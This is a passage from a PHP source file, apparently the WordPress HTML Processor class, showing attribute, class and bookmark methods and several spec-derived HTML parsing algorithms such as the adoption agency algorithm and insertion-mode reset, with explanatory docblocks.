	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		return $this->is_virtual() ? false : parent::set_attribute( $name, $value );
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		return $this->is_virtual() ? false : parent::remove_attribute( $name );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		return $this->is_virtual() ? null : parent::get_attribute_names_with_prefix( $prefix );
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::add_class( $class_name );
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::remove_class( $class_name );
	}

	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @todo When reconstructing active formatting elements with attributes, find a way
	 *       to indicate if the virtually-reconstructed formatting elements contain the
	 *       wanted class name.
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		return $this->is_virtual() ? null : parent::has_class( $wanted_class );
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 */
	public function class_list() {
		return $this->is_virtual() ? null : parent::class_list();
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		return $this->is_virtual() ? '' : parent::get_modifiable_text();
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		return $this->is_virtual() ? null : parent::get_comment_type();
	}

	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $bookmark_name ): bool {
		return parent::release_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Moves the internal cursor in the HTML Processor to a given bookmark's location.
	 *
	 * Be careful! Seeking backwards to a previous location resets the parser to the
	 * start of the document and reparses the entire contents up until it finds the
	 * sought-after bookmarked location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		// Flush any pending updates to the document before beginning.
		$this->get_updated_html();

		$actual_bookmark_name = "_{$bookmark_name}";
		$processor_started_at = $this->state->current_token
			? $this->bookmarks[ $this->state->current_token->bookmark_name ]->start
			: 0;
		$bookmark_starts_at   = $this->bookmarks[ $actual_bookmark_name ]->start;
		$direction            = $bookmark_starts_at > $processor_started_at ? 'forward' : 'backward';

		/*
		 * If seeking backwards, it's possible that the sought-after bookmark exists within an element
		 * which has been closed before the current cursor; in other words, it has already been removed
		 * from the stack of open elements. This means that it's insufficient to simply pop off elements
		 * from the stack of open elements which appear after the bookmarked location and then jump to
		 * that location, as the elements which were open before won't be re-opened.
		 *
		 * In order to maintain consistency, the HTML Processor rewinds to the start of the document
		 * and reparses everything until it finds the sought-after bookmark.
		 *
		 * There are potentially better ways to do this: cache the parser state for each bookmark and
		 * restore it when seeking; store an immutable and idempotent register of where elements open
		 * and close.
		 *
		 * If caching the parser state it will be essential to properly maintain the cached stack of
		 * open elements and active formatting elements when modifying the document. This could be a
		 * tedious and time-consuming process as well, and so for now will not be performed.
		 *
		 * It may be possible to track bookmarks for where elements open and close, and in doing so
		 * be able to quickly recalculate breadcrumbs for any element in the document. It may even
		 * be possible to remove the stack of open elements and compute it on the fly this way.
		 * If doing this, the parser would need to track the opening and closing locations for all
		 * tokens in the breadcrumb path for any and all bookmarks. By utilizing bookmarks themselves
		 * this list could be automatically maintained while modifying the document. Finding the
		 * breadcrumbs would then amount to traversing that list from the start until the token
		 * being inspected. Once an element closes, if there are no bookmarks pointing to locations
		 * within that element, then all of these locations may be forgotten to save on memory use
		 * and computation time.
		 */
		if ( 'backward' === $direction ) {

			/*
			 * When moving backward, stateful stacks should be cleared.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->remove_node( $item );
			}

			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				$this->state->active_formatting_elements->remove_node( $item );
			}

			/*
			 * **After** clearing stacks, more processor state can be reset.
			 * This must be done after clearing the stack because those stacks generate events that
			 * would appear on a subsequent call to `next_token()`.
			 */
			$this->state->frameset_ok                       = true;
			$this->state->stack_of_template_insertion_modes = array();
			$this->state->head_element                      = null;
			$this->state->form_element                      = null;
			$this->state->current_token                     = null;
			$this->current_element                          = null;
			$this->element_queue                            = array();

			/*
			 * The absence of a context node indicates a full parse.
			 * The presence of a context node indicates a fragment parser.
			 */
			if ( null === $this->context_node ) {
				$this->change_parsing_namespace( 'html' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_INITIAL;
				$this->breadcrumbs           = array();

				$this->bookmarks['initial'] = new WP_HTML_Span( 0, 0 );
				parent::seek( 'initial' );
				unset( $this->bookmarks['initial'] );
			} else {

				/*
				 * Push the root-node (HTML) back onto the stack of open elements.
				 *
				 * Fragment parsers require this extra bit of setup.
				 * It's handled in full parsers by advancing the processor state.
				 */
				$this->state->stack_of_open_elements->push(
					new WP_HTML_Token(
						'root-node',
						'HTML',
						false
					)
				);

				$this->change_parsing_namespace(
					$this->context_node->integration_node_type
						? 'html'
						: $this->context_node->namespace
				);

				if ( 'TEMPLATE' === $this->context_node->node_name ) {
					$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				}

				$this->reset_insertion_mode_appropriately();
				$this->breadcrumbs = array_slice( $this->breadcrumbs, 0, 2 );
				parent::seek( $this->context_node->bookmark_name );
			}
		}

		/*
		 * Here, the processor moves forward through the document until it matches the bookmark.
		 * do-while is used here because the processor is expected to already be stopped on
		 * a token than may match the bookmarked location.
		 */
		do {
			/*
			 * The processor will stop on virtual tokens, but bookmarks may not be set on them.
			 * They should not be matched when seeking a bookmark, skip them.
			 */
			if ( $this->is_virtual() ) {
				continue;
			}
			if ( $bookmark_starts_at === $this->bookmarks[ $this->state->current_token->bookmark_name ]->start ) {
				return true;
			}
		} while ( $this->next_token() );

		return false;
	}

	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * Bookmarks cannot be set on tokens that do no appear in the original
	 * HTML text. For example, the HTML `<table><td>` stops at tags `TABLE`,
	 * `TBODY`, `TR`, and `TD`. The `TBODY` and `TR` tags do not appear in
	 * the original HTML and cannot be used as bookmarks.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $bookmark_name ): bool {
		if ( $this->is_virtual() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Cannot set bookmarks on tokens that do no appear in the original HTML text.' ),
				'6.8.0'
			);
			return false;
		}
		return parent::set_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.5.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return parent::has_bookmark( "_{$bookmark_name}" );
	}

	/*
	 * HTML Parsing Algorithms
	 */

	/**
	 * Closes a P element.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#close-a-p-element
	 */
	private function close_a_p_element(): void {
		$this->generate_implied_end_tags( 'P' );
		$this->state->stack_of_open_elements->pop_until( 'P' );
	}

	/**
	 * Closes elements that have implied end tags.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 *
	 * @param string|null $except_for_this_element Perform as if this element doesn't exist in the stack of open elements.
	 */
	private function generate_implied_end_tags( ?string $except_for_this_element = null ): void {
		$elements_with_implied_end_tags = array(
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
		);

		$no_exclusions = ! isset( $except_for_this_element );

		while (
			( $no_exclusions || ! $this->state->stack_of_open_elements->current_node_is( $except_for_this_element ) ) &&
			in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true )
		) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Closes elements that have implied end tags, thoroughly.
	 *
	 * See the HTML specification for an explanation why this is
	 * different from generating end tags in the normal sense.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see WP_HTML_Processor::generate_implied_end_tags
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 */
	private function generate_implied_end_tags_thoroughly(): void {
		$elements_with_implied_end_tags = array(
			'CAPTION',
			'COLGROUP',
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
			'TBODY',
			'TD',
			'TFOOT',
			'TH',
			'THEAD',
			'TR',
		);

		while ( in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true ) ) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Returns the adjusted current node.
	 *
	 * > The adjusted current node is the context element if the parser was created as
	 * > part of the HTML fragment parsing algorithm and the stack of open elements
	 * > has only one element in it (fragment case); otherwise, the adjusted current
	 * > node is the current node.
	 *
	 * @see https://html.spec.whatwg.org/#adjusted-current-node
	 *
	 * @since 6.7.0
	 *
	 * @return WP_HTML_Token|null The adjusted current node.
	 */
	private function get_adjusted_current_node(): ?WP_HTML_Token {
		if ( isset( $this->context_node ) && 1 === $this->state->stack_of_open_elements->count() ) {
			return $this->context_node;
		}

		return $this->state->stack_of_open_elements->current_node();
	}

	/**
	 * Reconstructs the active formatting elements.
	 *
	 * > This has the effect of reopening all the formatting elements that were opened
	 * > in the current body, cell, or caption (whichever is youngest) that haven't
	 * > been explicitly closed.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#reconstruct-the-active-formatting-elements
	 *
	 * @return bool Whether any formatting elements needed to be reconstructed.
	 */
	private function reconstruct_active_formatting_elements(): bool {
		/*
		 * > If there are no entries in the list of active formatting elements, then there is nothing
		 * > to reconstruct; stop this algorithm.
		 */
		if ( 0 === $this->state->active_formatting_elements->count() ) {
			return false;
		}

		$last_entry = $this->state->active_formatting_elements->current_node();
		if (

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is a marker;
			 * > stop this algorithm.
			 */
			'marker' === $last_entry->node_name ||

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is an
			 * > element that is in the stack of open elements, then there is nothing to reconstruct;
			 * > stop this algorithm.
			 */
			$this->state->stack_of_open_elements->contains_node( $last_entry )
		) {
			return false;
		}

		$this->bail( 'Cannot reconstruct active formatting elements when advancing and rewinding is required.' );
	}

	/**
	 * Runs the reset the insertion mode appropriately algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#reset-the-insertion-mode-appropriately
	 */
	private function reset_insertion_mode_appropriately(): void {
		// Set the first node.
		$first_node = null;
		foreach ( $this->state->stack_of_open_elements->walk_down() as $first_node ) {
			break;
		}

		/*
		 * > 1. Let _last_ be false.
		 */
		$last = false;
		foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
			/*
			 * > 2. Let _node_ be the last node in the stack of open elements.
			 * > 3. _Loop_: If _node_ is the first node in the stack of open elements, then set _last_
			 * >            to true, and, if the parser was created as part of the HTML fragment parsing
			 * >            algorithm (fragment case), set node to the context element passed to
			 * >            that algorithm.
			 * > …
			 */
			if ( $node === $first_node ) {
				$last = true;
				if ( isset( $this->context_node ) ) {
					$node = $this->context_node;
				}
			}

			// All of the following rules are for matching HTML elements.
			if ( 'html' !== $node->namespace ) {
				continue;
			}

			switch ( $node->node_name ) {
				/*
				 * > 4. If node is a `select` element, run these substeps:
				 * >   1. If _last_ is true, jump to the step below labeled done.
				 * >   2. Let _ancestor_ be _node_.
				 * >   3. _Loop_: If _ancestor_ is the first node in the stack of open elements,
				 * >      jump to the step below labeled done.
				 * >   4. Let ancestor be the node before ancestor in the stack of open elements.
				 * >   …
				 * >   7. Jump back to the step labeled _loop_.
				 * >   8. _Done_: Switch the insertion mode to "in select" and return.
				 */
				case 'SELECT':
					if ( ! $last ) {
						foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $ancestor ) {
							if ( 'html' !== $ancestor->namespace ) {
								continue;
							}

							switch ( $ancestor->node_name ) {
								/*
								 * > 5. If _ancestor_ is a `template` node, jump to the step below
								 * >    labeled _done_.
								 */
								case 'TEMPLATE':
									break 2;

								/*
								 * > 6. If _ancestor_ is a `table` node, switch the insertion mode to
								 * >    "in select in table" and return.
								 */
								case 'TABLE':
									$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
									return;
							}
						}
					}
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
					return;

				/*
				 * > 5. If _node_ is a `td` or `th` element and _last_ is false, then switch the
				 * >    insertion mode to "in cell" and return.
				 */
				case 'TD':
				case 'TH':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
						return;
					}
					break;

					/*
					* > 6. If _node_ is a `tr` element, then switch the insertion mode to "in row"
					* >    and return.
					*/
				case 'TR':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
					return;

				/*
				 * > 7. If _node_ is a `tbody`, `thead`, or `tfoot` element, then switch the
				 * >    insertion mode to "in table body" and return.
				 */
				case 'TBODY':
				case 'THEAD':
				case 'TFOOT':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
					return;

				/*
				 * > 8. If _node_ is a `caption` element, then switch the insertion mode to
				 * >    "in caption" and return.
				 */
				case 'CAPTION':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
					return;

				/*
				 * > 9. If _node_ is a `colgroup` element, then switch the insertion mode to
				 * >    "in column group" and return.
				 */
				case 'COLGROUP':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
					return;

				/*
				 * > 10. If _node_ is a `table` element, then switch the insertion mode to
				 * >     "in table" and return.
				 */
				case 'TABLE':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
					return;

				/*
				 * > 11. If _node_ is a `template` element, then switch the insertion mode to the
				 * >     current template insertion mode and return.
				 */
				case 'TEMPLATE':
					$this->state->insertion_mode = end( $this->state->stack_of_template_insertion_modes );
					return;

				/*
				 * > 12. If _node_ is a `head` element and _last_ is false, then switch the
				 * >     insertion mode to "in head" and return.
				 */
				case 'HEAD':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
						return;
					}
					break;

				/*
				 * > 13. If _node_ is a `body` element, then switch the insertion mode to "in body"
				 * >     and return.
				 */
				case 'BODY':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
					return;

				/*
				 * > 14. If _node_ is a `frameset` element, then switch the insertion mode to
				 * >     "in frameset" and return. (fragment case)
				 */
				case 'FRAMESET':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
					return;

				/*
				 * > 15. If _node_ is an `html` element, run these substeps:
				 * >     1. If the head element pointer is null, switch the insertion mode to
				 * >        "before head" and return. (fragment case)
				 * >     2. Otherwise, the head element pointer is not null, switch the insertion
				 * >        mode to "after head" and return.
				 */
				case 'HTML':
					$this->state->insertion_mode = isset( $this->state->head_element )
						? WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD
						: WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
					return;
			}
		}

		/*
		 * > 16. If _last_ is true, then switch the insertion mode to "in body"
		 * >     and return. (fragment case)
		 *
		 * This is only reachable if `$last` is true, as per the fragment parsing case.
		 */
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
	}

	/**
	 * Runs the adoption agency algorithm.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#adoption-agency-algorithm
	 */
	private function run_adoption_agency_algorithm(): void {
		$budget       = 1000;
		$subject      = $this->get_tag();
		$current_node = $this->state->stack_of_open_elements->current_node();

		if (
			// > If the current node is an HTML element whose tag name is subject
			$current_node && $subject === $current_node->node_name &&
			// > the current node is not in the list of active formatting elements
			! $this->state->active_formatting_elements->contains_node( $current_node )
		) {
			$this->state->stack_of_open_elements->pop();
			return;
		}

		$outer_loop_counter = 0;
		while ( $budget-- > 0 ) {
			if ( $outer_loop_counter++ >= 8 ) {
				return;
			}

			/*
			 * > Let formatting element be the last element in the list of active formatting elements that:
			 * >   - is between the end of the list and the last marker in the list,
			 * >     if any, or the start of the list otherwise,
			 * >   - and has the tag name subject.
			 */
			$formatting_element = null;
			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				if ( 'marker' === $item->node_name ) {
					break;
				}

				if ( $subject === $item->node_name ) {
					$formatting_element = $item;
					break;
				}
			}

			// > If there is no such element, then return and instead act as described in the "any other end tag" entry above.
			if ( null === $formatting_element ) {
				$this->bail( 'Cannot run adoption agency when "any other end tag" is required.' );
			}

			// > If formatting element is not in the stack of open elements, then this is a parse error; remove the element from the list, and return.
			if ( ! $this->state->stack_of_open_elements->contains_node( $formatting_element ) ) {
				$this->state->active_formatting_elements->remove_node( $formatting_element );
				return;
			}

			// > If formatting element is in the stack of open elements, but the element is not in scope, then this is a parse error; return.
			if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $formatting_element->node_name ) ) {
				return;
			}

			/*
			 * > Let furthest block be the topmost node in the stack of open elements that is lower in the stack
			 * > than formatting element, and is an element in the special category. There might not be one.
			 */
			$is_above_formatting_element = true;
			$furthest_block              = null;
			foreach ( $this->state->stack_of_open_elements->walk_down() as $item ) {
				if ( $is_above_formatting_element && $formatting_element->bookmark_name !== $item->bookmark_name ) {
					continue;
				}

				if ( $is_above_formatting_element ) {
					$is_above_formatting_element = false;
					continue;
				}

				if ( self::is_special( $item ) ) {
					$furthest_block = $item;
					break;
				}
			}

			/*
			 * > If there is no furthest block, then the UA must first pop all the nodes from the bottom of the
			 * > stack of open elements, from the current node up to and including formatting element, then
			 * > remove formatting element from the list of active formatting elements, and finally return.
			 */
			if ( null === $furthest_block ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();

					if ( $formatting_element->bookmark_name === $item->bookmark_name ) {
						$this->state->active_formatting_elements->remove_node( $formatting_element );
						return;
					}
				}
			}

			$this->bail( 'Cannot extract common ancestor in adoption agency algorithm.' );
		}

		$this->bail( 'Cannot run adoption agency when looping required.' );
	}

	/**
	 * Runs the "close the cell" algorithm.
	 *
	 * > Where the steps above say to close the cell, they mean to run the following algorithm:
	 * >   1. Generate implied end tags.
	 * >   2. If the current node is not now a td element or a th element, then this is a parse error.
	 * >   3. Pop elements from the stack of open elements stack until a td element or a th element has been popped from the stack.
	 * >   4. Clear the list of active formatting elements up to the last marker.
	 * >   5. Switch the insertion mode to "in row".
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#close-the-cell
	 *
	 * @since 6.7.0
	 */
	private function close_cell(): void {
		$this->generate_implied_end_tags();
		// @todo Parse error if the current node is a "td" or "th" element.
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			$this->state->stack_of_open_elements->pop();
			if ( 'TD' === $element->node_name || 'TH' === $element->node_name ) {
				break;
			}
		}
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
	}

	/**
	 * Inserts an HTML element on the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token Name of bookmark pointing to element in original input HTML.
	 */
	private function insert_html_element( WP_HTML_Token $token ): void {
		$this->state->stack_of_open_elements->push( $token );
	}

	/**
	 * Inserts a foreign element on to the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token                     Insert this token. The token's namespace and
	 *                                                 insertion point will be updated correctly.
	 * @param bool          $only_add_to_element_stack Whether to skip the "insert an element at the adjusted
	 *                                                 insertion location" algorithm when adding this element.
	 */
	private function insert_foreign_element( WP_HTML_Token $token, bool $only_add_to_element_stack ): void {
		$adjusted_current_node = $this->get_adjusted_current_node();

		$token->namespace = $adjusted_current_node ? $adjusted_current_node->namespace : 'html';

		if ( $this->is_mathml_integration_point() ) {
			$token->integration_node_type = 'math';
		} elseif ( $this->is_html_integration_point() ) {
			$token->integration_node_type = 'html';
		}

		if ( false === $only_add_to_element_stack ) {
			/*
			 * @todo Implement the "appropriate place for inserting a node" and the
			 *       "insert an element at the adjusted insertion location" algorithms.
			 *
			 * These algorithms mostly impacts DOM tree construction and not the HTML API.
			 * Here, there's no DOM node onto which the element will be appended, so the
			 * parser will skip this step.
			 *
			 * @see https://html.spec.whatwg.org/#insert-an-element-at-the-adjusted-insertion-location
			 */
		}

		$this->insert_html_element( $token );
	}

	/**
	 * Inserts a virtual element on the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string      $token_name    Name of token to create and insert into the stack of open elements.
	 * @param string|null $bookmark_name Optional. Name to give bookmark for created virtual node.
	 *                                   Defaults to auto-creating a bookmark name.
	 * @return WP_HTML_Token Newly-created virtual token.
	 */
	private function insert_virtual_node( $token_name, $bookmark_name = null ): WP_HTML_Token {
		$here = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$name = $bookmark_name ?? $this->bookmark_token();

		$this->bookmarks[ $name ] = new WP_HTML_Span( $here->start, 0 );

		$token = new WP_HTML_Token( $name, $token_name, false );
		$this->insert_html_element( $token );
		return $token;
	}

	/*
	 * HTML Specification Helpers
	 */

	/**
	 * Indicates if the current token is a MathML integration point.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#mathml-text-integration-point
	 *
	 * @return bool Whether the current token is a MathML integration point.
	 */
	private function is_mathml_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'math' !== $current_token->namespace || 'M' !== $current_token->node_name[0] ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		return (
			'MI' === $tag_name ||
			'MO' === $tag_name ||
			'MN' === $tag_name ||
			'MS' === $tag_name ||
			'MTEXT' === $tag_name
		);
	}

	/**
	 * Indicates if the current token is an HTML integration point.
	 *
	 * Note that this method must be an instance method with access
	 * to the current token, since it needs to examine the attributes
	 * of the currently-matched tag, if it's in the MathML namespace.
	 * Otherwise it would be required to scan the HTML and ensure that
	 * no other accounting is overlooked.
	 *
	 * @since 6.7.0
	 *
